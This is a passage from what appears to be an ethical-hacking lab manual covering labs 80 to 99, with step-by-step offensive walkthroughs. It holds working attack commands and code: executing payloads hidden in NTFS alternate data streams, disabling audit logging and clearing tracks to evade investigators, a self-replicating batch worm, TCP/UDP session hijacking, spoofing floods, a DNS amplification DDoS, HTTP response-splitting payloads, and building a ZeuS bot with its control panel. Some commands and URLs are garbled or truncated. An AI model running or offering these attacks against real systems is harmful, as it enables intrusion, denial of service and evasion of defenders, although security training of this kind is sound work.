clean. If that is not possible, then be sure to
run those exploits in an isolated environment,
such as our VM lab.
Lab 80. NTFS Data
sStreams
Lab Objective:
Learn how to utilize alternate data streams.
Lab Purpose:
Alternate data streams (ADS) are essentially
secret file “attributes” or streams of data
attached to a preexisting file. This feature
exists on NTFS file systems, hence the title of
this lab. Each file can have multiple data
streams, in which you can place text or even
other files. This is perfect for us as ethical
hackers because we should always aim to be
as stealthy as possible.
Lab Tool:
SysInternals.
Lab Topology:
Lab Walk-Through:
To elaborate a bit more on the topic, each file
within the NTFS file system has several
attributes, one of which is $Data. These are
hidden from plain sight and, as stated in the
Lab Purpose, a single file can have multiple
$Data attributes attached to it. Not only is this
attribute hidden from users, but they do also
not show up as occupied file space. In other
words, if you attach a 12GB file as an
alternate data stream to a 20MB base file, the
occupied space on that disk will seem to be
only 20MB.
Since this is an NTFS file system feature, we

will show the functionality using our
Windows 7 VM. Once there, start cmd.exe,
which is Windows’ CLI, then navigate to the
current user’s Desktop directory:
cd Desktop
dir /r
This shows ADS for the files located in this

directory, as can be seen in the screenshot
below.
So, we can discover ADSs, but how can we

create them? We can utilize Windows’ own
built-in tools or 3rd party ones. The two tools
we’ll look at are Echo and Type, the syntax
for which looks like this:
echo “This is not a malicious file”>safe.txt
dir
dir /r
echo “But I am hiding a secret”>safe.txt:secret

dir
dir /r
echo “I am also not a malicious file”>innocent.txt
dir
dir /r
type HOIC.zip>innocent.txt:hoic
dir
dir /r
You can exfiltrate data very securely this
way, perform a local DoS attack by
occupying invisible space on a disk, and
more. To access the contents of an ADS, we
need Windows’ SysInternals Suite, which can
be downloaded from this URL:
https://download.sysinternals.com/files/SysinternalsSuite.z
Unzip the archive then, navigate to the
unzipped directory, then run the following:
streams.exe C:\Users\IEUser\Desktop\innocent.txt
wmic process call create
“C:\Users\IEUser\Desktop\innocent.txt:hoic”
This is just for demonstration purposes, so the

results aren’t spectacular. It would be much
more useful to us as ethical hackers to embed
an executable file into an ADS, but you can
practice that on your own; the principles are
the same as shown in this lab.
Tips and notes:
To top things off, see if you can craft a
Meterpreter payload, embed it into an ADS,
then run it from a seemingly benign file in
order to get a reverse shell.
Lab 81. Auditpol
Lab Objective:
Learn how to use Auditpol.
Lab Purpose:
Auditpol is a tool native to Windows Server
2008, Windows Vista and newer OSs. Its
main purpose is auditing policies, as the name
implies, and we will use it for information
gathering.
Lab Tool:
Auditpol.
Lab Topology:
Lab Walk-Through:
Auditpol cannot be run remotely, so we either
need to achieve a system compromise and get
shell access or, for demonstration purposes,
we can just head over to our Windows 7 VM.
Before we do anything else head over to Start
→ Local Security Policy → Local Policies →
Security Options → Audit: Force audit policy
subcategory settings (Windows Vista or later)
to override audit policy category settings →
Local Security Settings → Enabled.
Now open up Windows’ CLI and type:

auditpol /?
to access the tool’s help menu. We can

further expand into each subcommand’s help
menu like this:
auditpol /list /?
We see that the tool is quite granular so let’s

use it to list all the available auditing
subcategories:
auditpol /list /subcategory:*
Furthermore we can get a list of currently
configured auditing subcategories on a
computer:
auditpol /get /category:*
What is more interesting to us as ethical

hackers are the ability Auditpol gives us to
disable security policies and services to avoid
detection by administrators, which can be
achieved with the following command:
auditpol /set /Category:System /failure:disable
What we have disabled this way are certain

Services.msc features, namely Windows
Event Collector and Windows Event Log,
which are used by blue teams (people tasked
with protecting a certain asset) to investigate
breaches.
Tips and notes:

Discover, on your own, the Auditpol syntax
to enumerate users and, perhaps, other
aspects of the target OS, such as its network
status, OS information, etc.
Lab 82. Tools for
Clearing Tracks
Lab Objective:
Learn how to clear your tracks using
Windows native tools.
Lab Purpose:
While this lab might not seem like anything
advanced, we feel the need to include it as
well because quite a lot of people are familiar
with the app in question and have likely used
it in the past to “clean up” their computer.
Needless to say, that same cleaning up can
actually remove evidence of our activity on a
target machine.
Lab Tool:
CCLeaner.
Lab Topology:
Lab Walk-Through:
First, we have to download the tool from this
URL:
https://www.ccleaner.com/ccleaner/download/standard
and onto our Windows VM, install and then
run it. Now, when we want to clear our
ethical hacking tracks, we do not want to
leave the target system devoid of any and all
logs and/or activity traces, as that would also
raise suspicion. Imagine if the system in
question was actively used by someone and
they browsed some websites, we do not want
to delete their history, only what we did, so
always be mindful of that.
Once you navigate through the startup of

CCLeaner, we want to go to Custom Clean,
and then you can proceed with selecting the
types of information you want removed. I’m
particularly interested in the Windows Event
Logs, so I’ll leave only that selected, as I do
not want the results of the analysis to be
cluttered with data that is not important to me
at the moment. Make sure you check/uncheck
both the Windows and Application tabs
within Custom Clean.
Clicking Analyze gives me no results, which

would lead us to believe no logs were made
during this session, but that can’t be right;
any and all activities, including installing
CCLeaner itself, should leave some trace in
the logs. This clearly shows a drawback with
running 3rd party tools instead of doing this
through a CLI.
Since Windows Event Logs left us with

nothing to go on, let’s check out the Registry
section of CCLeaner. Click Scan for Issues
and, in my case, it shows 1030 issues.
We should then manually inspect this in order
to identify the ones that pertain to our ethical
hacking activities and remove only those.
One thing piques my interest here and that is
“Invalid firewall rule.” So, let’s select that
and clean up those registry entries, leave
everything else as is.
Click Review selected Issues . . . and back up

the registry (it’s always a good idea to make
regular backups of everything we change on
our own and target systems alike), then click
on Fix All Selected Issues.
Once the issues have been fixed, click on

Close, then scan the registry for issues once
again to see whether any firewall ones have
been left unresolved. We see that it has all
been properly cleaned, and we can close
CCLeaner.
Tips and notes:

In your time, analyze other elements such as
browser cookies, cache, etc., then look for
residual artifacts from your ethical hacking
attempts. As an added exercise, compromise
the Windows VM via RDP, install CCLeaner
on your own (uninstall it locally if present on
the target previously), then clean the evidence
of your activities.
Lab 83. Creating a
Worm
Lab Objective:
Learn how to create a worm malware.
Lab Purpose:
As stated in our labs on malware, the main
difference between worms and viruses is that
worms can propagate on their own. The
reason we’ve placed this lab much later than
all the others pertaining to malware is
because it assumes some programming
knowledge on your part.
Lab Tool:
Windows 7 VM.
Lab Topology:
Lab Walk-Through:
Create a file called Crack.txt on your
Windows box with the following contents:
@ECHO OFF
XCOPY “Crack.bat”
“%APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup”
:x
MD Crack
CD Crack
XCOPY “%APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup\Crack.bat”
CD Crack
GOTO x
Once done, rename the file to Crack.bat and
run it. Immediately you will see the
Windows’ CLI pop up and a ton of messages
being printed out. Stop the worm by closing
the CLI window, and let’s see what’s the
damage.
If you noticed, there is a new directory called
Crack and, if we navigate through it, we can
see that the script copied itself numerous
times, along with the newly created directory.
Needless to say, if we improve our worm, it
can easily take up system resources, and it
does that quite fast and completely on its
own, safe for us needing to start it.
Tips and notes:

Try creating a worm that embeds itself into
an OS’s registry and runs on system startup.
Lab 84. Switch Port
Stealing
Lab Objective:
Learn how to perform switch port stealing.
Lab Purpose:
Switch port stealing is another type of MITM
attack and, as the name implies, requires you
to have a switch that you can attack. Modern
home routers oftentimes act as switches, but
that is not necessarily always the case, so this
attack will be dependent on the hardware you
have access to.
Lab Tool:
ARPing.
Lab Topology:
Lab Walk-Through:
Port stealing, similar to other MITM attacks,
targets a specific aspect of LANs which is
called Content Addressable Memory (CAM)
table. This table stores information on which
MAC address is connected to which port on
the switch. Because of this table, the switch
knows that, for example, a device with the
MAC address of 02:42:a0:75:76:19 is on the
switch’s physical port 1, the NIC with the
MAC address of 00:50:56:3a:6c:9c is on port
2, etc., allowing for smart transfer of data
between devices. It may seem similar to an
ARP table but remember that ARP is what
connects MAC to IP addresses. The attack
itself, though, is similar in principle, as we
will see now.
What we want to achieve with this attack is to

confuse the switch into thinking that we, the
attacker, are the target so that we receive the
packets intended for said target. If the target
is called Bob and they are communicating
with Alice, we want to intercept packets sent
from Alice to Bob like this:
arping -s BOB_MAC ALICE_IP -S BOB_IP -t
ALICE_MAC
More specifically, using the information from

our Metasploitable and OWASP VMs:
arping -s 00:0c:29:24:42:0f 192.168.77.156 -S
192.168.77.139 -t 00:0c:29:97:fc:15
We can verify this using Wireshark as well:

wireshark
then input arp as the filter, like in the
screenshot below:
Doing this will make the attack appear as

legitimate traffic and will most likely not be
flagged by defensive systems that may be in
place on either of the devices. Sadly, for Bob,
he will never receive the packets that Alice
sent him, effectively leading to a DoS attack.
Tips and notes:

We’ve wanted to introduce a new tool in this
lab, but this attack can also be done using
Ettercap. See if you can make it work on your
own. In addition to that, see if you can make
it so Bob does indeed receive packets from
Alice.
Lab 85. IRDP
Spoofing
Lab Objective:
Learn how to perform IRDP spoofing.
Lab Purpose:
IRDP stands for ICMP Router Discovery
Protocol and is a routing protocol that allows
the host to discover the IP addresses of active
routers on their subnet. This means that, if
successful, we can pretend to be the router. It
is very similar to ARP poisoning, only using
a different protocol.
Lab Tool:
Irpas.
Lab Topology:
VM for this lab.
Lab Walk-Through:
Since Irpas is not installed on our Kali box,
we ought to do so with the commands:
arp update
arp install irpas -y
Irpas is actually a collection of tools, so we

cannot view its help menu the way we
normally do. Instead, we can find the list of
tools (https://www.kali.org/tools/irpas/)
within this suite, then invoke the help menu
for the specific functionality we want like
this:
irdp --help
We see that the parameters required by the

tool are the IP address we want to spoof (the
source/router IP), the destination IP (our
Windows VM) and the interface we want to
perform the attack on, so let’s run the full
command after starting up Wireshark:
wireshark
irdp -S 192.168.77.2 -D 192.168.77.155 -i eth0
If we filter the traffic captured by Wireshark

to show only ICMP packets, we will see that
a new packet appears and, conveniently
enough, it’s just one, so there is no need to
sift through thousands of packets to find what
we’re looking for.
It’s easy to confirm by looking at MAC and
IP addresses that this single ICMP packet
attempted to confuse the Windows target that
we are the default gateway (router).
Tips and notes:

In the past, we’ve often achieved something
like this by flooding the target(s) so check
whether you can make this attack a bit more
persistent by, for example, having Irpas send
a thousand packets to the target or by having
the attack run constantly for 1 minute.
Lab 86. TCP/IP
Hijacking
Lab Objective:
Learn how to perform TCP/IP hijacking.
Lab Purpose:
TCP/IP hijacking is a type of session
hijacking but differs from what we’ve seen
before in that we’re not compromising a web
session but rather a TCP connection’s
session. Think of a user logging into a Telnet
service on another machine. They, if Telnet is
properly configured, should supply their
credentials before gaining access to the
service. It is these types of sessions that
TCP/IP hijacking aims to compromise.
Lab Tool:
Shijack.
Lab Topology:
Lab Walk-Through:
We’ll be needing three machines for this lab,
one to attack from (Kali), one that has a
Telnet server (Metasploitable) and one to
make the Telnet connection from/be the
Telnet client (OWASP BWA). The tool we’ll
be using can be downloaded from the
following URL:
https://packetstormsecurity.com/sniffers/shijack.tgz
Once downloaded, extract it with the

command:
tar -zxvf shijack.tgz
ch shijack
./shijack-lnx --help
So, we see that in order for the attack to
work, we need the source (client) and
destination (server) IP addresses and ports.
Now, we know the IP addresses and the
server port, but the client port we have to
discover. To that end, we will utilize ARP
spoofing before we do TCP/IP hijacking.
wireshark
arpspoof -i eth0 -t 192.168.77.139 192.168.77.2
arpspoof -i eth0 -t 192.168.77.156 192.168.77.2
Once you got the client port, use it in Shijack
like this:
./shijack-lnx eth0 192.168.77.156 38232 192.168.77.139
23
As you can see, the already ongoing session

gets immediately hijacked, and we have
control over the client-server Telnet
communication.
Tips and notes:

Another tool you can attempt the same attack
with is called Hunt and can be downloaded
from this URL:
https://packetstormsecurity.com/sniffers/hunt/.
Lab 87. IP Spoofing:
Source Routed
Packets
Lab Objective:
Learn how to perform IP spoofing.
Lab Purpose:
The idea behind IP spoofing is to make a
target (server) think the packets it is receiving
are coming from another client when in fact,
they are coming from us, the attacker. This is
beneficial when the target performs
differently depending on who is interacting
with it, based on the source IP address.
Lab Tool:
Hping3.
Lab Topology:
Windows 7 in a VM for this lab.
Lab Walk-Through:
IP spoofing is a technique that relies on our
target accepting source routed packets.
Source routing is a specific routing process
where senders can specify the route that data
packets take through a network. To that end,
we need to discover which IP address is
trusted on the target. Since this is a lab that
we have full control over, we can safely
“assume” that Windows 7 is trusted by
Metasploitable.
After we’ve identified their respective IP

addresses, we can proceed with the spoofing:
wireshark
hping3 -1 --flood -a 192.168.77.155 192.168.77.139
By looking at Wireshark, we can see the
source and destination IP addresses as the
ones we have specified in the command
above. Yet, all of the traffic was actually
generated by our Kali box.
Nmap also has the option to spoof and decoy

(-S and -D switches, respectively) your IP
address. We can utilize them like this:
nmap -Pn -e eth0 -S 192.168.77.155 192.168.77.139
nmap -Pn -p 80 -T4 -vvv --reason -D RND:10
192.168.77.139
Again, looking at Wireshark, we can see that
the first command shows our Windows VM
as the source and the second one generates 10
random IP addresses to hide our actual one in
the noise.
Tips and notes:

See if you can create a shell connection from
Kali and onto Metasploitable but by
pretending to be doing so from Windows.
Lab 88. RST Attack
Lab Objective:
Learn how to perform an RST attack.
Lab Purpose:
The RST attack is a type of DoS attack as it
resets the connection between two target
machines, a client and a server, for example.
This lab demonstrates exactly what we can do
when we absolutely must break an already
existing connection between such machines.
Lab Tool:
Hping3.
Lab Topology:
Lab Walk-Through:
As in the previous lab, we’ve identified the IP
addresses of all machines and have now
started Wireshark and established an SSH
connection from Kali to Metasploitable.
Then, on Wireshark, we want to filter only
those packets which go to and from our two
machines and look at the very last one.
We want the source port, next sequence

number and acknowledgment number values
for our command, which should look
something like this:
hping3 192.168.77.139 -p 22 -s 46622 -R -A -M
3820387274 -L 2047043932 -c 1
If we go back to Wireshark, we will see a

single RST packet being sent from Kali,
which shuts down our SSH connection.
This can be further verified by trying to type

any command in SSH, which will promptly
fail.
Tips and notes:
RST type packets can also be used for session
hijacking (akin to the shown TCP hijacking).
See if you can figure out how to achieve that.
Lab 89. UDP
Hijacking
Lab Objective:
Learn how to perform UDP hijacking.
Lab Purpose:
UDP hijacking is very similar to TCP
hijacking, with the added simplicity of UDP
being stateless and not carrying sequence
numbers. This does not diminish its
usefulness, as we can abuse UDP to gain
control over DNS or NTP communication
between a client and a server.
Lab Tool:
Scapy.
Lab Topology:
You can use Kali Linux, Windows 7 and
Metasploitable in a VM for this lab.
Lab Walk-Through:
You might wonder what good would it do to
us to gain control over DNS or NTP
communication. Well, the former can be used
as an alternative to DNS spoofing, and the
latter could, for instance, be used to “expire”
an HSTS post (if time is moved forward) or
make an expired certificate valid (if time is
moved backward). So, let’s see how we’d go
about it. First, we want to start a UDP
communication between two machines.
These can be any of the two from our entire
lab VM environment, and I’ll pick Windows
to serve as the client and Metasploitable to
serve as the server. First, we need to transfer
Netcat onto Windows with the command:
scp /usr/share/windows-resources/binaries/nc.exe
IEUser@192.168.77.155:/cygdrive/c/Users/Public/Documents
After that, we start the UDP communication:
nc -lvnup 7777
on Metasploitable and:
nc -u 192.168.77.139 777
on Windows. Now, head back to

Metasploitable as we’ll need the client UDP
port number which, at the time of writing this
lab, for me was 53554. Then on Kali type the
following:
scapy
>>> i=IP()
>>> i.dst=”192.168.77.139”
>>> i.src=”192.168.77.155”
>>> u=UDP()
>>> u.dport=7777
>>> u.sport=53554
>>> payload=”You have been hacked!”
>>> packet=i/u/payload
>>> packet.display()
>>> send(packet)
If you head back to Windows, you will see

that nothing’s changed, but if you head over
to Metasploitable, you’ll see that we’ve
hijacked the communication between
Windows and Metasploitable, effectively
injecting our own message into their
conversation.
Tips and notes:

Try to configure your VM lab so that DNS
requests get resolved through Metasploitable
(in other words, turn it into your lab’s DNS
server), as it contains a DNS server. Then
perform UDP hijacking and redirect DNS
queries from legitimate IP addresses to the
ones you control on Kali.
Lab 90. Websploit
Lab Objective:
Learn how to use Websploit.
Lab Purpose:
Websploit is a toolkit containing various
functionality, such as MITM attacks, Wi-Fi
attacks, and more.
Lab Tool:
Websploit.
Lab Topology:
VM for this lab.
Lab Walk-Through:
This time we’ll start things off immediately
with a sequence of commands that go from
installing to tool to running one of its attacks:
apt update
apt install websploit
websploit
help
show
You can see here the various functionality

offered by the toolkit, and we’ll select HTTP
sniffing:
use http_sniffer
help
options
execute
Now, go over to the Windows VM and

navigate to some website.
You can immediately see that Websploit is

gathering information on the requests made
from Windows. However, since these are all
HTTPS requests, they are encrypted. We’ve
already given you some ideas as to how
HTTPS can be circumvented or downgraded
in previous labs, so work that out and see if
you can get clear/plaintext results in
Websploit.
Tips and notes:

This is another case where we first wanted to
show you attacks on their own so that you
can understand what each of them does in an
isolated scenario. It’s very important to know
the underlying processes and technologies
that make certain attacks possible.
Lab 91. Packet
Fragment
Generators
Lab Objective:
Learn how to utilize packet crafting tools.
Lab Purpose:
In this lab, we’ll look at a packet crafting
tool. Akin to Hping3 the tool we’ll show here
allows us to craft nearly any packet
imaginable, but there are more steps involved
to make the tool run, so we’ve left it for the
end of our 101 Labs.
Lab Tool:
PackETH.
Lab Topology:
Lab Walk-Through:
First, we need to download the tool by
typing:
git clone https://github.com/jemcek/packETH
cd packETH
apt update
apt install autoconf automake libgtk2.0-dev build-
essential gtk2.0 -y
./autogen.sh
./configure
make
./packETH
This should cover all the dependencies as

well and make the tool’s GUI appear on your
screen. Then we proceed with inputting
information such as the source and
destination MAC and IP addresses (I’ve used
Kali’s) as well as ports (8080).
We decide on the type of the packet (I’ve
opted for TCP) and the TCP payload (I pasted
a hex encoded “You’ve been hacked!”
message).
Next, we select the interface over which we
want to send the packed (eth0, for example)
and start Wireshark:
wireshark
Finally, we send our newly crafted packed

through PackETH and can immediately
notice it pop up in Wireshark:
Conveniently Wireshark decodes the TCP
payload for us, as can be seen in the bottom
portion of the Wireshark’s window.
Tips and notes:

There are many other packet crafting tools
that you can try out, some even Windows
native, such as Bit-Twist, WireEdit and more.
Some, however, require a paid license. As
always, you are encouraged to experiment on
your own and find the one that suits you the
most.
Lab 92. DNS Server
Hijacking
Lab Objective:
Learn how to perform DNS server hijacking.
Lab Purpose:
We’ve looked at DNS cache poisoning in one
of our previous labs. This time we’ll look at a
different kind of attack targeting the same
service, DNS.
Lab Tool:
DNSChef.
Lab Topology:
VM for this lab.
Lab Walk-Through:
An important thing to mention is that this lab
requires that we have compromised either the
DNS server that we know our target looks up
for nameserver resolution or the target’s own
DNS server lookup/priority settings . . . or
both! So, we’ll postulate that we have
achieved such a thing by in fact doing the
necessary setup of our Windows box. First,
click the Start button and then search for
Network and Sharing Center, select your
main network connection, right-click on it an
choose Properties, then find Internet Protocol
Version 4 (TCP/IPv4), again click on
Properties and input your Kali’s IP address
into the Use the following DNS server
addresses like in the screenshot below:
Once that’s taken care of, we can proceed to
devise our attack on Kali with the following
commands:
apt update
apt install dnschef
dnschef --fakeip=192.168.77.128 --fakedomains=kali.org
–interface=0.0.0.0
service apache2 start
wireshark
Make sure you have an index.html file in the
/var/www/html directory with some unique
content. Then, from Windows, navigate to
kali.org. Immediately you will see DNSChef
doing its thing, and the Windows machine
gets redirected to your Kali’s Apache
webserver. In Wireshark, we can see the DNS
“conversation” between Windows and Kali.
You will find this attack much less noisy than
DNS cache poisoning but, as we stated at the
start of the lab, there are some prerequisites
that you might not always be able to meet.
Tips and notes:

Couple this attack with SET’s credential
harvesting and see whether this works better
than DNS cache poisoning in the context of
speed and stability, as we know that all
poisoning attacks are error-prone.
Lab 93. DNS
Amplification Attack
Lab Objective:
Learn how to perform a DNS amplification
attack.
Lab Purpose:
A DNS amplification attack is a type of DoS
attack using DNS packets to overwhelm the
target. This can further be increased by
running the script we will show in this lab
from multiple machines, effectively
performing a DDoS attack.
Lab Tool:
DNSDrDoS.
Lab Topology:
VM for this lab.
Lab Walk-Through:
There is a script we have to download from
this URL:
https://raw.githubusercontent.com/nullsecuritynet/tools/ma
and compile it on our Kali machine. We can
achieve this with the following commands:
wget
https://raw.githubusercontent.com/nullsecuritynet/tools/master/dos/dnsdrdo
gcc dnsdrdos.c -o dnsdrdos.o -Wall -ansi
echo
‘8.8.8.8\n8.8.4.4\n9.9.9.9\n149.112.112.112\n208.67.222.222\n208.67.220
wireshark
./dnsdrdos.o -f DNSlist.txt -s 192.168.77.155 -l 1000000
After running the script for only a handful of
seconds, we can see in Wireshark that we
were able to generate over 200000 packets.
This is likely to overwhelm home devices,
and a DDoS attack like this can even
overwhelm some home servers. What’s great
about this is that we’ve hidden ourselves
behind legitimate DNS servers, and the more
IPs you input into the DNSlist.txt file, the
better. Needless to say, it is still illegal to do
something like this and highly unethical, so
please refrain from doing so unless DoS
attacks are specifically requested in the
contract between you and your client.
Tips and notes:

See if you can run a DNS hijack or DNS
cache poisoning attack against the same
target as the one against which you will run
this DNS amplification attack and whether
you will be able to resolve the URLs you are
serving.
Lab 94. HTTP
Request Smuggling
Lab Objective:
Learn how to perform HTTP request
smuggling.
Lab Purpose:
HTTP request smuggling, as the name
implies, is an attack in which we can
“smuggle,” for example, request B while
making request A. This might seem
convoluted, so it is better to just show
immediately what that actually means
through a practical example.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
You can think of HTTP request smuggling as
a method by which other types of attacks can
be accomplished. It is a vulnerability in and
of itself, but it’s most often used either for
information gathering or to facilitate another
type of attack. Another name for HTTP
response smuggling is Carriage Return Line
Feed (CRLF) attacks.
HTTP request smuggling happens when we

embed or inject an unintended request within
our legitimate one. Of course, unintended
from the server’s perspective, not ours, as we
clearly intend to exploit this vulnerability.
This is most often recognized by \r\n
(carriage return and line feed, respectively)
values in HTTP headers and performed by
manipulating said values. To demonstrate
this, we will have to use BurpSuite, so start it
up and proxify Firefox traffic through it:
burpsuite
Then head over to BWA VM’s WebGoat

application and use “webgoat” as both
username and password. Once there, click on
General → HTTP Splitting in the left-hand
menu of the application. Finally, input the
value of “en” in the Search by country field,
intercept that request using BurpSuite and
send it to Repeater.
In Repeater, we want to send this (POST)

request as is one more time. We notice that
when we do so, we get a 302 Moved
Temporarily response from the server and an
option to follow a redirect, on which we will
click.
We then get a new request, this time with the
HTTP GET method and our language
parameter set to “en” in the URI. Sending this
request then gives us a 200 OK server
response.
We can abuse this behavior by inputting the
following values into the language parameter.
Note these values have to be URL encoded:
en
Content-Length: 0
Http/1.1 200 OK
Content-Type: text/html
Content-Length: 21
<html> Website that has been hacked </html>
To perform URL encoding, you can utilize this web
application:
https://yehg.net/encoding/pce-cached.php.
Paste the above code as is, then click on
encodeURIcomponent.
You will get the following value. So paste it

into the HTTP Splitting exercise’s input field
within WebGoat:
en%0AContent-
Length%3A%200%0A%0AHttp%2F1.1%20200%20OK%0AContent-
Type%3A%20text%2Fhtml%0AContent-
Length%3A%2021%0A%3Chtml%3E%20Website%20that%20has%20be
You will be redirected to a web page that
contains the text “Website that has been
hacked.”
Tips and notes:

Try to facilitate XSS by utilizing HTTP
request smuggling as a sort of a “carriage” or
vector. See if you can get the currently
logged in user’s cookies.
Lab 95. Web Cache
Poisoning
Lab Objective:
Learn how to perform web cache poisoning.
Lab Purpose:
We’ll go one step further in this lab with
regards to the HTTP splitting attack shown in
the previous one. As most servers maintain
some kind of logs by poisoning them, we can
achieve added functionality for our exploit.
Oftentimes you will find that in exercises for
practicing log poisoning the end goal is to
achieve RCE (Remote Code Execution).
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
So, we’re simply continuing off from the
previous lab, meaning you are likely greeted
with the following web page:
In order to mark this WebGoat lesson as

completed, we need to input the following:
en
Content-Length: 0
Http/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 April 2025 13:32:19 GMT
Content-Length: 21
<html> This website has been hacked </html>
Of course, it has to be URL encoded as in the previous
Lab using this web application
https://yehg.net/encoding/pce-cached.php and the result
looking like this:
en%0AContent-
Length%3A%200%0A%0AHttp%2F1.1%20200%20OK%0AContent-
Type%3A%20text%2Fhtml%0ALast-
Modified%3A%20Mon%2C%2027%20April%202025%2013%3A32%3A
Length%3A%2021%0Ahtml%20This%20website%20has%20been%20hac
This marks the lesson as complete.

So, what we’ve done is we’ve “persuaded”
the server to think that the resource we’ve
requested has been Last-Modified sometime
in the future, which will confuse the server
and potentially make it print out an error,
which, as we’ve seen in the SQLi labs, can be
quite beneficial to us.
Tips and notes:

As an added exercise, try to achieve RCE in
this WebGoat’s lesson. You can perhaps
utilize LFI/RFI in some header values or
create a simple PHP shell script that will sit
in the cache, and you can then invoke it
through URI parameters.
Lab 96. Windows
Cryptography Tools
Lab Objective:
Learn how to utilize Windows cryptography
tools.
Lab Purpose:
Sometimes you will be unable to use Linux in
your ethical hacking engagements and seeing
how Windows is the dominant OS for client
machines, it pays to be familiar with it and
the tools we can run on it.
Lab Tool:
CrypTool.
Lab Topology:
Lab Walk-Through:
We’ll look at 2 tools in this lab, namely
CrypTool and HashCalc, which can be
downloaded from the following URLS:
https://www.cryptool.org/en/ct1/downloads.
https://www.slavasoft.com/hashcalc/index.htm
Once you download and install them, let’s

look at what they can do.
CrypTool is an educational tool above all

else, and since these Labs are aimed at people
who are looking to learn, it is perfect for our
needs. We can use it to look into how certain
encryption ciphers turn plaintext into
ciphertext. To that end, let’s use the sample
text shown upon starting up CrypTool and
Encrypt it using a Symmetric (classic)
Vigenere cipher.
Vigenere is an improvement over Caesar
cipher, which takes each letter and shifts it by
a certain number, according to the table
below:
So, if we take the word “test” and shift it by 1

according to Caesar cipher, we would get the
word “uftu.” Vigenere takes this concept and
shifts the plaintext not by a single value but
by a key, which can be 2, 3 values/characters,
etc.
I’ll choose the key of “test” to encrypt the
same text using the Vigenere cipher, and the
result is clearly indiscernible from the
original. Needless to say, this is a very weak
cipher and easy to break, hence why we are
using much stronger ones today.
The other tool we’ll look into is called

HashCalc and does exactly what its name
says, which is calculating hashes. The reason
we’re showing it here is because it
conveniently calculates several different
types of hashes for a particular input file and
lists them all in a single window, as can be
seen in the screenshot below:
Here I took the ReadMe.txt file from the

same directory where HashCalc is installed.
You can also easily compare the difference in
strength between these hashes, as the longer
the hash,\ the more secure it is.
Tips and notes:

As you’re more likely to have only CLI
access to a Windows machine, see if you can
run the tools shown in this lab in CLI or if
you can install and run OpenSSL/GnuPG
through CLI on Windows.
Lab 97.
Cryptanalysis
Lab Objective:
Learn how to perform cryptanalysis.
Lab Purpose:
Cryptanalysis is the process of taking a
ciphertext and breaking its encryption in
order to read the plaintext. We will be
looking at the cryptanalysis of the Vigenere
cipher.
Lab Tool:
CrypTool.
Lab Topology:
Lab Walk-Through:
As in our previous Lab, start the CrypTool on
your Windows machine and encrypt the
sample text with a Vigenere cipher using the
key of “test.”
There are several approaches to cryptanalysis,

namely:
• Ciphertext only (no knowledge of

anything other than the ciphertext)
• Known plaintext
• Chosen plaintext
• Chosen ciphertext
• Chosen text
These are quite difficult to perform manually,

as can be seen in the following video:
https://www.youtube.com/watch?v=QgHnr8-
h0xI. Luckily CrypTool has analysis
functionality, which we are going to utilize in
this lab.
So, click on Analysis and, since we know that

Vigenere falls under the “Symmetric
Encryption (classic)” category, go to that
submenu and check out its options.
Immediately, in the Ciphertext-Only

submenu, we see our cipher of choice, so
click on that. It asks us for the derived key
length, and here we can iterate from 1 to
however far we want. For educational
purposes, let’s first leave it at the default
value of 8 and see the results.
Cleverly enough, CrypTool figured out that
our key is “testtest.” Now, we know that’s not
entirely accurate, but it is still a good point of
reference.
For now, let’s go along and click Decrypt,

and the tool again, rather cleverly, figures out
that the initial key value does not work well,
so will perform the decryption with the
updated value of “test,” which we know to be
the correct one.
Click OK, and the tool will decrypt the

ciphertext perfectly.
Tips and notes:

CrypTool offers a lot more in the domain of
cryptanalysis, and we can perform manual
analysis through it as well. Play around with
that in your own time, and try to understand
how each of the manual analysis approaches
works. Do not shy away from using outside
resources if you need to familiarize yourself
with certain concepts.
Lab 98. ZeuS/zBot
Malware Analysis
Lab Objective:
Learn how to perform malware analysis using
ZeuS/zBot as an example.
Lab Purpose:
In these last 4 labs, we’ll tackle one of the
most complex aspects of CEH and cyber
security in general, and that is malware
analysis. For the first lab in the series, we’ll
cover installing the malware onto our
Windows 7 VM.
Lab Tool:
Windows 7.
Lab Topology:
Lab Walk-Through:
To start things off, go to the following URL:
https://github.com/Visgean/Zeus and
download the ZIP archive onto your
Windows machine.
Then go to
https://sourceforge.net/projects/xampp/files/XAMPP%20W
download the 5.6.40-1-VC11-installer.exe
file and install it, leaving everything as
default except unchecking the “Learn more
about Bitnami for XAMPP” option.
Next extract the ZeuS ZIP archive and copy

the contents of its /output/server[php]/
subdirectory to C:\xampp\htdocs\zeus (you’ll
have to create a new directory).
Now, start XAMPP and all of its modules,
then log into XAMPP’s phpMyAdmin
console at https://localhost/phpmyadmin.
Create a new database called “zeus,” then
head over to the URL:
https://localhost/zeus/install.
Here you want to add a password for the user

“admin.” I chose just “password.” You need
to input the name of the database which
you’ve just created (zeus) the encryption key,
where I typed “test,” and finally Enable write
reports to local path. Install, and if you’ve
done everything correctly, you’ll get an
Update complete! Message.
Now, go to https://localhost/zeus/cp.php and
input the admin credentials (admin/password
if you followed along with me).
Go to ZeuS’ extracted directory on your OS,

navigate to its /output/builder directory and
start zsb.exe, then click on Builder → Edit.
Check the values for url_config, url_loader
and url_server, whether they correspond to
your environment (specifically the IP
addresses).
With that out of the way, click on Build the

bot configuration.
Save the resulting file while overwriting the

pre-existing one, then build the bot
executable, again saving it in the (default)
same directory.
Now, copy bot.exe and config.bin to
C:\xampp\htdocs\zeus.
We’ll continue with the infection in our next

lab.
Tips and notes:

Feel free to read up on ZeuS/zBot malware,
how, when and where it originated, and its
most common propagation methods and
targets.
Lab 99. ZeuS/zBot
Malware Analysis
Lab Objective:
Lab Purpose:
In this lab, we’ll pick up from where we left
in our previous one and go through the
exploitation phase of the ZeuS/zBot malware.
Lab Tool:
Windows 7.
Lab Topology:
Lab Walk-Through:
Before anything, we should download a
couple of packet capturing tools for windows,
namely Message Analyzer from any of these
two URLs:
https://github.com/riverar/messageanalyzer-
archive/blob/master/releases/1.4/MessageAnalyzer64.m
https://web.archive.org/web/20191106164517/http://ww
us/download/details.aspx?id=44226.
And Network Monitor from:
https://www.microsoft.com/en-
us/download/4865.
Install both, run them, start XAMPP, make

sure all the modules are running, then go to
the http://localhost/zeus/cp.ph URL and log
in using the credentials from the previous lab.
Now, start packet capturing. For Network
Monitor, you go to New Capture → Start
